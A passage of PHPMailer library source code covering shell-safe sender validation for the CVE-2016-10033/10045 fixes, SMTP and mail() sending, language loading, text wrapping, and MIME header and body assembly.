     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
